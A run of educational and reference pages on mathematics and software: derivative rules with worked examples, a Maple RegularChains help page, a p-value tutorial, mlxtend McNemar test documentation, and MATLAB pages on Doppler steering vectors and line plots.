\frac{d}{dx}[f(x) \pm g(x)] = f’(x) \pm g’(x)
\frac{d}{dx}(\sin{(x)}) = \cos{(x)}
\frac{d}{dx}(\cos{(x)}) = -\sin{(x)}
\frac{d}{dx}(\tan{(x)}) = \sec ^2 (x)
Rules for Logarithmic Functions and Exponential Functions
\frac{d}{dx} (\ln{x}) = \frac{1}{x}
\frac{d}{dx}(e^x) = e^x
Dr. Tim Chartier highlights two of these rules, the Product Rule and Quotient Rule, as game changers:
He also goes over in this video the Constant Rule, Power Rule, and Sum Rule with examples:
Let’s try a few derivative examples together.
Finding a Derivative Example 1
f(x) = 4x^2
using the limit definition of a derivative.
We’ll follow the three steps listed in the first section.
Substituting our function
f(x) = 4x^2
into the limit definition of a derivative, we get:
f’(x)= \mathop {\lim }\limits_{\Delta{x} \to 0} \frac{{f\left( {x + \Delta{x} } \right) - f\left( x \right)}}{\Delta{x} }
= \mathop {\lim }\limits_{\Delta{x} \to 0} \frac{4(x + \Delta{x})^2 - 4x^2}{\Delta{x}}
\Delta{x}
f’(x)= \mathop {\lim }\limits_{\Delta{x} \to 0} \frac{4(x^2 + 2x\Delta{x} + \Delta{x}^2) - 4x^2}{\Delta{x}}
= \mathop {\lim }\limits_{\Delta{x} \to 0} \frac{4x^2 + 8x\Delta{x} + 4\Delta{x}^2 - 4x^2}{\Delta{x}}
= \mathop {\lim }\limits_{\Delta{x} \to 0} \frac{8x\Delta{x} + 4\Delta{x}^2}{\Delta{x}}
= \mathop {\lim }\limits_{\Delta{x} \to 0}8x + 4\Delta{x}
Now, we can evaluate the limit as
\Delta{x}
approaches 0. Polynomial functions are always continuous, so we can substitute
\Delta{x} = 0
f’(x)= \mathop {\lim }\limits_{\Delta{x} \to 0}8x + 4\Delta{x}
f’(x) = 8x + 4(0)
f’(x) = 8x
f(x) = 7x^3 - \sin{(3x)}
f’(x)
using the derivative rules.
We have the difference of two terms, so we can use the Difference Rule, which states that the derivative of a difference of functions is equal to the difference of their derivatives. To find the derivative of the first term, we can use the Power Rule and the Constant Multiple Rule:
\frac{d}{dx}[7x^3] = 3 \cdot 7 x^{3-1} = 21x^2
The second term is a composition of function. So, to find the derivative of the second term, we can use the Chain Rule. We’ll also need to use the sine rule of the trigonometry rules. The Chain Rule states that the derivative of a composition of functions is equal to the derivative of the outside function, multiplied by the derivative of the inside function:
\frac{dy}{dx} \sin{(3x)} = \cos{(3x)} \cdot 3 = 3\cos{(3x)}
Now, we can take the difference of these two derivatives to find the derivative of
f(x) = 7x^3 - \sin{(3x)}
f’(x) = 21x^2 - 3\cos{(3x)}
f(x) = \frac{\cos{(2x)}}{2x}
f’(x)
We have a quotient of functions. So, we can use the Quotient Rule. In the numerator, we’ll need the cosine rule of the trigonometry rules, as well as the Chain Rule. In the denominator, we’ll use the Power Rule.
\frac{d}{dx}[\frac{f(x)}{g(x)}] = \frac{g(x)f’(x)-f(x)g’(x)}{(g(x))^2}
f’(x) = \frac{2x \cdot [-\sin{(2x)} \cdot 2] - \cos{(2x)} \cdot 2}{(2x)^2}
f’(x) = \frac{-4x\sin{(2x)} - 2\cos{(2x)}}{4x^2}
f’(x) = \frac{-\sin{(2x)}}{x} - \frac{\cos{(2x)}}{2x^2}
Outlier is a great resource for improving your mastery of derivatives. Once you’ve solidified your understanding of the derivative, Outlier’s calculus course is a fantastic way to expand your mathematical toolbox and apply your differentiation skills to other areas of differential calculus.
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Course resources include question sets, quizzes, and an active-learning based digital textbook. You’ll also have access to free tutors and a study group.
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Derivatives in Math: Definition and Rules
As one of the fundamental operations in calculus, derivatives are an enormously useful tool for measuring rates of change. In this article, we’ll first take a high-level view of how derivative rules work, and then dig deeper to examine a number of common rules.
A Beginner’s Guide to Integrals
Integrals are a fundamental tool for a range of activities in fields such as mathematics, physics, and engineering. In this article, we’ll take a macro look at what integrals are, before moving on to work step by step through various possible uses.
Mean Absolute Deviation (MAD) - Meaning & How To Find It
Measuring mean absolute deviation is an easy way to understand the degree of variation across statistical data points. In this article, we’ll define mean absolute deviation; discuss how it differs from its more common counterpart, standard deviation; and show how to calculate it in four quick steps.
Differentiable Function: Meaning, Formulas and Examples
How to Find Derivatives in 3 Steps
What is Partial Derivative? Definition, Rules and Examples
Definite Integrals: What Are They and How to Calculate Them
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MatrixCombine - Maple Help
Home : Support : Online Help : Mathematics : Factorization and Solving Equations : RegularChains : MatrixCombine
equiprojectable decomposition of a list of regular chains
MatrixCombine(lrc, R)
MatrixCombine(lrc, R, lm)
list of matrices with coefficients in R
The function call MatrixCombine(lrc, R, lm) returns the equiprojectable decomposition of the variety given by lrc, and the corresponding combined matrices.
It is assumed that every regular chain in lrc is zero-dimensional and strongly normalized, and that all matrices in lm have the same format.
It is also assumed that lrc and lm have the same number of elements.
This command is part of the RegularChains package, so it can be used in the form MatrixCombine(..) only after executing the command with(RegularChains). However, it can always be accessed through the long form of the command by using RegularChains[MatrixCombine](..).
\mathrm{with}\left(\mathrm{RegularChains}\right):
\mathrm{with}\left(\mathrm{ChainTools}\right):
Consider a polynomial ring with three variables
R≔\mathrm{PolynomialRing}\left([x,y,z]\right):
\mathrm{rc}≔\mathrm{Empty}\left(R\right):
Consider the following four regular chains of R
\mathrm{rc1}≔\mathrm{Chain}\left([z,y,x-1],\mathrm{rc},R\right):
\mathrm{rc2}≔\mathrm{Chain}\left([z,y-1,x],\mathrm{rc},R\right):
\mathrm{rc3}≔\mathrm{Chain}\left([z-1,y,x],\mathrm{rc},R\right):
\mathrm{rc4}≔\mathrm{Chain}\left([{z}^{2}+2z-1,y-z,x-z],\mathrm{rc},R\right):
Consider the following four matrices over R
\mathrm{m1}≔\mathrm{Matrix}\left([[x+y-z,x-y+1],[x-2y+1,x-2+z]]\right)
\textcolor[rgb]{0,0,1}{\mathrm{m1}}\textcolor[rgb]{0,0,1}{≔}[\begin{array}{cc}\textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{z}& \textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{1}\\ \textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{1}& \textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{z}\end{array}]
\mathrm{m2}≔\mathrm{Matrix}\left([[x-z-1,x+z-2],[x-3+y,x+y+z-1]]\right)
\textcolor[rgb]{0,0,1}{\mathrm{m2}}\textcolor[rgb]{0,0,1}{≔}[\begin{array}{cc}\textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{z}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{1}& \textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{z}\\ \textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{3}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{y}& \textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{z}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{1}\end{array}]
\mathrm{m3}≔\mathrm{Matrix}\left([[x-y-1,x+y-2z],[x+y-z-3,x+y+z-2]]\right)
\textcolor[rgb]{0,0,1}{\mathrm{m3}}\textcolor[rgb]{0,0,1}{≔}[\begin{array}{cc}\textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{1}& \textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{z}\\ \textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{z}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{3}& \textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{z}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{2}\end{array}]
\mathrm{m4}≔\mathrm{Matrix}\left([[x-z-y+1,x+2z-2y],[x+y-z+1,x+y-z-1]]\right)
\textcolor[rgb]{0,0,1}{\mathrm{m4}}\textcolor[rgb]{0,0,1}{≔}[\begin{array}{cc}\textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{z}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{1}& \textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{z}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{y}\\ \textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{z}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{1}& \textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{z}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{1}\end{array}]
We view each matrix as a result obtained modulo the corresponding regular chain in the given order. We combine these four results as follows
\mathrm{clr}≔\mathrm{MatrixCombine}\left([\mathrm{rc1},\mathrm{rc2},\mathrm{rc3},\mathrm{rc4}],R,[\mathrm{m1},\mathrm{m2},\mathrm{m3},\mathrm{m4}]\right)
\textcolor[rgb]{0,0,1}{\mathrm{clr}}\textcolor[rgb]{0,0,1}{≔}[[[\begin{array}{cc}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{1}& \textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{4}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{2}\\ \textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{4}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{2}& \textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{1}\end{array}]\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{\mathrm{regular_chain}}]\textcolor[rgb]{0,0,1}{,}[[\begin{array}{cc}\textcolor[rgb]{0,0,1}{-}\frac{\textcolor[rgb]{0,0,1}{1}}{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{}{\textcolor[rgb]{0,0,1}{z}}^{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{z}\textcolor[rgb]{0,0,1}{+}\frac{\textcolor[rgb]{0,0,1}{3}}{\textcolor[rgb]{0,0,1}{2}}& \textcolor[rgb]{0,0,1}{-}\frac{\textcolor[rgb]{0,0,1}{3}}{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{}{\textcolor[rgb]{0,0,1}{z}}^{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{z}\textcolor[rgb]{0,0,1}{+}\frac{\textcolor[rgb]{0,0,1}{3}}{\textcolor[rgb]{0,0,1}{2}}\\ \textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{3}\textcolor[rgb]{0,0,1}{}{\textcolor[rgb]{0,0,1}{z}}^{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{5}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{z}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{4}& \textcolor[rgb]{0,0,1}{-}\frac{{\textcolor[rgb]{0,0,1}{z}}^{\textcolor[rgb]{0,0,1}{2}}}{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{-}\frac{\textcolor[rgb]{0,0,1}{1}}{\textcolor[rgb]{0,0,1}{2}}\end{array}]\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{\mathrm{regular_chain}}]]
The four cases cannot be combined into a single one. In fact, we obtained the following two cases
\mathrm{rc1}≔\mathrm{clr}[1][2];
\mathrm{Equations}\left(\mathrm{rc1},R\right)
\textcolor[rgb]{0,0,1}{\mathrm{rc1}}\textcolor[rgb]{0,0,1}{≔}\textcolor[rgb]{0,0,1}{\mathrm{regular_chain}}
[\textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{1}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{y}}^{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{z}]
\mathrm{rc2}≔\mathrm{clr}[2][2];
\mathrm{Equations}\left(\mathrm{rc2},R\right)
\textcolor[rgb]{0,0,1}{\mathrm{rc2}}\textcolor[rgb]{0,0,1}{≔}\textcolor[rgb]{0,0,1}{\mathrm{regular_chain}}
[\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{x}\textcolor[rgb]{0,0,1}{+}{\textcolor[rgb]{0,0,1}{z}}^{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{1}\textcolor[rgb]{0,0,1}{,}\textcolor[rgb]{0,0,1}{2}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{y}\textcolor[rgb]{0,0,1}{+}{\textcolor[rgb]{0,0,1}{z}}^{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{1}\textcolor[rgb]{0,0,1}{,}{\textcolor[rgb]{0,0,1}{z}}^{\textcolor[rgb]{0,0,1}{3}}\textcolor[rgb]{0,0,1}{+}{\textcolor[rgb]{0,0,1}{z}}^{\textcolor[rgb]{0,0,1}{2}}\textcolor[rgb]{0,0,1}{-}\textcolor[rgb]{0,0,1}{3}\textcolor[rgb]{0,0,1}{}\textcolor[rgb]{0,0,1}{z}\textcolor[rgb]{0,0,1}{+}\textcolor[rgb]{0,0,1}{1}]
The two ideals generated by rc1 and rc2 are obviously relatively prime (no common roots in z) so the Chinese Remaindering Theorem applies. However, if we try to recombine them, we create a polynomial in y with a zero-divisor as initial. This is forbidden by the properties of a regular chain.
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Calculating p-Value in Hypothesis Testing | Outlier
Calculating p-Values for Discrete Random Variables
Calculating p-Values for Continuous Random Variables
A p-value (short for probability value) is a probability used in hypothesis testing. It represents the probability of observing sample data that is at least as extreme as the observed sample data, assuming that the null hypothesis is true.
In a hypothesis test, you have two competing hypotheses: a null (or starting) hypothesis,
H_0
and an alternative hypothesis,
H_a
. The goal of a hypothesis test is to use statistical evidence from a sample or multiple samples to determine which of the hypotheses is more likely to be true. The p-value can be used in the final stage of the test to make this determination.
Because it is a probability, the p-value can be expressed as a decimal or a percentage ranging from 0 to 1 or 0% to 100%. The closer the p-value is to zero, the stronger the evidence is in support of the alternative hypothesis,
H_a
Reject or Fail to Reject the Null Hypothesis?
When the p-value is below a certain threshold, the null hypothesis is rejected in favor of the alternative hypothesis. This threshold is known as the significance level (or alpha level) of the test.
The most commonly used significance level is 0.05 or 5%, but the choice of the significance level is up to the researcher. You could just as easily use a significance level of 0.1 or 0.01, for example. Remember, however, that the lower the p-value, the stronger the evidence is in support of the alternative hypothesis. For this reason, choosing a lower significance level means that you can have more confidence in your decision to reject a null hypothesis.
When the p-value is greater than the significance level, the evidence favors the null hypothesis, and the researcher or statistician must fail to reject the null hypothesis.
As mentioned earlier, the p-value is the probability of observing sample data that’s at least as extreme as the observed sample data, assuming that the null hypothesis is true.
If your data consists of a discrete random variable, you can map out the entire set of possible outcomes and their respective probabilities in order to calculate the p-value.
The p-value will then be the sum of three things:
the probability of the observed outcome
the probability of all outcomes that are just as likely as the observed outcome
and the probability of any outcome that is less likely than the observed outcome
A stranger invites you to play a game of dice, and claims her dice are fair. The rules of the game are as follows: You roll a single die. If you roll an even number, you count that as a win (or success) and earn $1. If you roll an odd number, you count that as a loss (or failure) and lose $0.80. You can play the game for as many rounds as you like.
Let’s say you play four rounds of the game, and you lose all four rounds. This leaves you $3.20 poorer than before you started playing.
Given your losses, you may be interested in conducting a hypothesis test. The null hypothesis will be that the dice used in the game are indeed fair and that there is an equal chance of rolling an even or odd number with each roll. Your alternative hypothesis is that the dice are weighted towards landing on odd numbers.
To calculate the p-value, we map all of the possible outcomes of playing four rounds of the game. In each round, there are only two possible outcomes (odd or even), and after four rounds, there are a total of
2^4
, or 16, outcomes. If we assume the null hypothesis is true—that the dice are fair)—each of these outcomes is equally likely, with a probability of 1/16.
Since we are only concerned about the total number of wins and losses, and not concerned at all with their order, the outcomes and probabilities we care about are the following:
the probability of getting 4 wins and 0 losses = 1/16
the probability of getting 3 wins and 1 loss = 4/16
the probability of getting 1 win and 3 losses = 4/16
To calculate the p-value, we sum up the following:
the probability of the observed outcome (0 wins and 4 losses)
the probability of any outcome that is just as likely as the observed outcome (4 wins and 0 losses)
the probability of any outcome that is less likely than the observed outcome (in this example, there are no outcomes that are less likely than the observed outcome, so this value is zero)
p-Value = 1/16 + 1/16 = 1/8 or 0.125
The p-value we found is 0.125. Surprisingly, this is still well above a 0.05 significance level. It is even above a 0.10 (or 10%) significance level. Regardless of which of these thresholds you choose, you must fail to reject the null hypothesis. In other words, despite four losses in a row, the evidence still favors the hypothesis that the dice are fair! It may be a different story if you experience 10 or even 5 losses in a row. Calculate the p-value to find out!
When the hypothesis test involves a continuous random variable, we use a test statistic and the area under the probability density function to determine the p-value. The intuition behind the p-value is the same as in the discrete case. Assuming that the null hypothesis is true, we are calculating the probability of observing sample data that is at least as extreme as the sample data we have observed.
Say you have an orange grove, and you’re convinced that your oranges now grow larger than when you first started growing citrus. You happen to know that the standard deviation of the weights of your oranges,
\sigma
, is equal to 0.8 oz. This is the perfect opportunity to conduct a hypothesis test.
Your null hypothesis, in this case, is that the mean weight of your oranges has remained unchanged over the years and is equal to 5 oz (the null hypothesis typically represents the hypothesis that you are trying to move away from). Your alternative hypothesis is that the average weight of your oranges is now greater than 5 oz.
H_0:\mu=5\;oz.
H_a:\mu>5\;oz.
Because you can’t weigh every orange in your grove, you pick a large random sample of oranges (with a sample size of 100), weigh those, and observe that the average weight in your sample,
\overline x
, is equal to 5.2 oz.
Does this result support the null hypothesis or the alternative hypothesis? It’s not immediately clear. By pure chance, you could have had a handful of extra-large oranges in your sample, and this could have pushed your sample mean above a population mean of 5 oz. Alternatively, the sample mean could indicate that the population mean is, in fact, greater than 5 oz.
Here is where we begin the hypothesis test. We’ll conduct the test at a 0.05 significance level.
We start by asking the following question: Assuming that the null hypothesis is true, how likely or unlikely is it to observe a sample mean
\overline x
= 5.2 oz?
From the central limit theorem, we know that if our sample is randomly drawn and large enough, we can assume that the sampling distribution of the sample means is normally distributed with a mean equal to the true population mean,
\mu
, and a standard error equal to
\frac\sigma{\sqrt n}
. This means that if the null hypothesis is true, the sampling distribution for the sample mean of our orange weights will be normally distributed, with a mean equal to 5 and a standard error equal to 0.08.
From here, we can convert our sample mean of 5.2 into what is known as a test statistic. To do this we use the exact same process we use when calculating standardized units such as z-scores or t-scores. Since we know the sampling distribution is approximately normal, and since we know the population standard deviation
\sigma
and the standard error
\frac\sigma{\sqrt n}
of the sampling distribution, we can calculate a Z-test statistic in the same way that we would calculate a z-score (if we did not know
\sigma
, we would use the sample standard deviation, s, to calculate a t-test statistic in the same way that we calculate t-scores).
z:\;Test\;Statistic\;=\;\frac{\overline x-\mu_0}{\displaystyle\frac\sigma{\sqrt n}}=\frac{5.2-5}{\displaystyle\frac{0.8}{\sqrt{100}}}=2.5
The test statistic is telling us that if our null hypothesis is true, then our observed sample mean,
\overline x
, is 2.5 standard deviations above the mean of the sampling distribution. To put the p-value to work we can do one of two things.
1. We can calculate the p-value associated with the test statistic. This can be done by finding the area under the standard normal distribution that lies to the right of 2.5. This gives us a p-value of 0.0062. The p-value is telling us that if the null hypothesis is true, we would only observe a sample mean of 5.2 or greater 0.0062 (or 0.62%) of the time. Because this probability is so low, it’s likely that the null hypothesis is false.
Since the p-value of 0.0062 is less than the significance level of 0.05, we can reject the null hypothesis at the 0.05 significance level. We can even reject it at the 0.01 significance level! You’re likely to be right about your oranges: the average weights have likely increased over time.
2. If you are familiar with standard normal distributions you may have realized that the significance level of our test (alpha = 0.05) is associated with the 95th percentile of the standard normal distribution. You may also know that the 95th percentile of a standard normal distribution is associated with a Z-score of 1.64. Since the test statistic 2.5 lies to the right of the Z-score, we can assume that the p-value will be less than 0.05. This is another way to complete the hypothesis test without having to do additional calculations.
Two-sided, upper-tailed, and lower-tailed hypothesis tests
In the orange grove example above, we conducted an upper-tailed hypothesis test, because the alternative hypothesis
H_a
was of the form
\mu>\mu_0
. It’s important to know, however, how the calculation of p-values differs when you have a two-tailed or a lower-tailed hypothesis test.
For a two-tailed test (when the alternative hypothesis,
H_a
, stipulates that a population parameter is ≠ to some number), the p-value is equal to twice the probability associated with the test statistic. If we had conducted a two-tailed test in the orange grove example (
H_a
\mu\neq5
), the p-value would be equal to the probability that
\overline x
was greater than 2.5 plus the probability that
\overline x
is less than -2.5. Because the standard normal is symmetric about the mean, this is equal to (0.0062 * 2 = 0.0124).
For a lower-tailed test (when the alternative hypothesis,
H_a
, stipulates that a population parameter is ≤ to some number) the process is similar to the upper-tailed test, but the p-value will be the probability of getting a sample statistic that lies to the left of the test-statistic, rather than to the right of it.
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mcnemar: McNemar's test for classifier comparisons - mlxtend
Example 1 - Creating 2x2 contingency tables
Example 2 - McNemar's Test for Scenario B
Example 3 - McNemar's Test for Scenario A
McNemar's test for paired nominal data
from mlxtend.evaluate import mcnemar
McNemar's Test [1] (sometimes also called "within-subjects chi-squared test") is a statistical test for paired nominal data. In context of machine learning (or statistical) models, we can use McNemar's Test to compare the predictive accuracy of two models. McNemar's test is based on a 2 times 2 contingency table of the two model's predictions.
McNemar's Test Statistic
In McNemar's Test, we formulate the null hypothesis that the probabilities
p(b)
p(c)
are the same, or in simplified terms: None of the two models performs better than the other. Thus, the alternative hypothesis is that the performances of the two models are not equal.
The McNemar test statistic ("chi-squared") can be computed as follows:
If the sum of cell c and b is sufficiently large, the
\chi^2
value follows a chi-squared distribution with one degree of freedom. After setting a significance threshold, e.g,.
\alpha=0.05
we can compute the p-value -- assuming that the null hypothesis is true, the p-value is the probability of observing this empirical (or a larger) chi-squared value. If the p-value is lower than our chosen significance level, we can reject the null hypothesis that the two model's performances are equal.
Approximately 1 year after Quinn McNemar published the McNemar Test [1], Edwards [2] proposed a continuity corrected version, which is the more commonly used variant today:
As mentioned earlier, an exact binomial test is recommended for small sample sizes (
b + c < 25
[3]), since the chi-squared value may not be well-approximated by the chi-squared distribution. The exact p-value can be computed as follows:
n = b + c
2
is used to compute the two-sided p-value.
In the following coding examples, we will use these 2 scenarios A and B to illustrate McNemar's test.
[1] McNemar, Quinn, 1947. "Note on the sampling error of the difference between correlated proportions or percentages". Psychometrika. 12 (2): 153–157.
[2] Edwards AL: Note on the “correction for continuity” in testing the significance of the difference between correlated proportions. Psychometrika. 1948, 13 (3): 185-187. 10.1007/BF02289261.
[3] https://en.wikipedia.org/wiki/McNemar%27s_test
The mcnemar funtion expects a 2x2 contingency table as a NumPy array that is formatted as follows:
Such a contingency matrix can be created by using the mcnemar_table function from mlxtend.evaluate. For example:
# The correct target (class) labels
y_target = np.array([0, 0, 0, 0, 0, 1, 1, 1, 1, 1])
# Class labels predicted by model 1
y_model1 = np.array([0, 1, 0, 0, 0, 1, 1, 0, 0, 0])
tb = mcnemar_table(y_target=y_target,
y_model1=y_model1,
y_model2=y_model2)
No, let us continue with the example mentioned in the overview section and assume that we already computed the 2x2 contingency table:
tb_b = np.array([[9945, 25],
To test the null hypothesis that the predictive performance of two models are equal (using a significance level of
\alpha=0.05
), we can conduct a corrected McNemar Test for computing the chi-squared and p-value as follows:
chi2, p = mcnemar(ary=tb_b, corrected=True)
print('chi-squared:', chi2)
print('p-value:', p)
chi-squared: 2.025
Since the p-value is larger than our assumed significance threshold (
\alpha=0.05
), we cannot reject our null hypothesis and assume that there is no significant difference between the two predictive models.
In contrast to scenario B (Example 2), the sample size in scenario A is relatively small (b + c = 11 + 1 = 12) and smaller than the recommended 25 [3] to approximate the computed chi-square value by the chi-square distribution well.
In this case, we need to compute the exact p-value from the binomial distribution:
tb_a = np.array([[9959, 11],
chi2, p = mcnemar(ary=tb_a, exact=True)
chi-squared: None
p-value: 0.005859375
\alpha=0.05
p \approx 0.006
\alpha
2 x 2 contingency table (as returned by evaluate.mcnemar_table), where a: ary[0, 0]: # of samples that both models predicted correctly b: ary[0, 1]: # of samples that model 1 got right and model 2 got wrong c: ary[1, 0]: # of samples that model 2 got right and model 1 got wrong d: aryCell [1, 1]: # of samples that both models predicted incorrectly
[http://rasbt.github.io/mlxtend/user_guide/evaluate/mcnemar/](http://rasbt.github.io/mlxtend/user_guide/evaluate/mcnemar/)
|
Doppler steering vector - MATLAB dopsteeringvec - MathWorks Deutschland
dopplerfreq
Compute Steering Vector for Doppler Shift
Temporal Doppler Steering Vector
Doppler steering vector
DSTV = dopsteeringvec(dopplerfreq,numpulses)
DSTV = dopsteeringvec(dopplerfreq,numpulses,PRF)
DSTV = dopsteeringvec(dopplerfreq,numpulses) returns the N-by-1 temporal (time-domain) Doppler steering vector for a target at a normalized Doppler frequency of dopplerfreq in hertz. The pulse repetition frequency is assumed to be 1 Hz.
DSTV = dopsteeringvec(dopplerfreq,numpulses,PRF) specifies the pulse repetition frequency, PRF.
The Doppler frequency in hertz. The normalized Doppler frequency is the Doppler frequency divided by the pulse repetition frequency. This argument supports single and double precision.
The number of pulses. The time-domain Doppler steering vector consists of numpulses samples taken at intervals of 1/PRF (slow-time samples). This argument supports single and double precision.
Pulse repetition frequency in hertz. The time-domain Doppler steering vector consists of numpulses samples taken at intervals of 1/PRF (slow-time samples). The normalized Doppler frequency is the Doppler frequency divided by the pulse repetition frequency. This argument supports single and double precision.
Temporal (time-domain) Doppler steering vector. DSTV is an N-by-1 column vector where N is the number of pulses, numpulses.
Calculate the steering vector corresponding to a Doppler frequency of 200 Hz. Assume there are 10 pulses and the PRF is 1 kHz.
dstv = dopsteeringvec(200,10,1000)
dstv = 10×1 complex
The temporal (time-domain) steering vector corresponding to a point scatterer is:
{e}^{j2\pi {f}_{d}{T}_{p}n}
where n=0,1,2, ..., N-1 are slow-time samples (one sample from each pulse), fd is the Doppler frequency, and Tp is the pulse repetition interval. The product of the Doppler frequency and the pulse repetition interval is the normalized Doppler frequency.
This functions supports single and double precision for input arguments. If the input arguments are single precision, the output is single precision. If the input arguments are double precision, the output is double precision.
[1] Melvin, W. L. “A STAP Overview,” IEEE® Aerospace and Electronic Systems Magazine, Vol. 19, Number 1, 2004, pp. 19–35.
dop2speed | speed2dop
|
To create two-dimensional line plots, use the plot function. For example, plot the sine function over a linearly spaced vector of values from 0 to
2\pi
You can label the axes and add a title.
ylabel("sin(x)")
title("Plot of the Sine Function")
By adding a third input argument to the plot function, you can plot the same variables using a red dashed line.
plot(x,y,"r--")
"r--" is a line specification. Each specification can include characters for the line color, style, and marker. A marker is a symbol that appears at each plotted data point, such as a +, o, or *. For example, "g:*" requests a dotted green line with * markers.
Notice that the titles and labels that you defined for the first plot are no longer in the current figure window. By default, MATLAB® clears the figure each time you call a plotting function, resetting the axes and other elements to prepare the new plot.
